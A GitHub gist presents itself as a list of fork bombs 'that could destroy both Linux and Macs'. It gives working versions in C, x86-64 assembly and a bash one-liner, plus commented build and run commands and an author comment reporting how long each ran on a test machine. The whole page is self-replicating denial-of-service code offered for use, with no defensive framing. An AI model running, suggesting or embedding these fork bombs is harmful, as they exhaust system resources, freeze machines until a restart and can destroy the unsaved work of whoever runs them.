Skip to content

Instantly share code, notes, and snippets.

@tnhung2011
Last active August 29, 2022 02:27
Show Gist options
  • Save tnhung2011/c9e2793117a978f8204bf1746c6065ce to your computer and use it in GitHub Desktop.
Save tnhung2011/c9e2793117a978f8204bf1746c6065ce to your computer and use it in GitHub Desktop.
A list of fork bombs that could destroy both Linux and Macs
#include <unistd.h>
int main() {
while(1) fork();
return 0;
}
.global _start
_start:
mov $0x39, %rax
syscall
jmp _start
#!/bin/bash
:(){ :|:& };:
#!/bin/sh
# Uncomment functions that you wanted to run
#-----BUILD-----
#assembly build
#gcc forkbomb.s -o forkbomb -nostdlib
#c build
#gcc forkbomb.c -o forkbomb
#-----RUN-----
#object file
#./forkbomb
#bash file
#/bin/bash -c source ./forkbomb.sh
@tnhung2011
Copy link
Author

tnhung2011 commented Aug 29, 2022

TEST: The Assembly one quits some time after it is runned. The C one runs an infinite amount of time until the computer is restarted. The Bash one have a long lifespan just like the C one, but its performance is more worse than C and Assembly.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment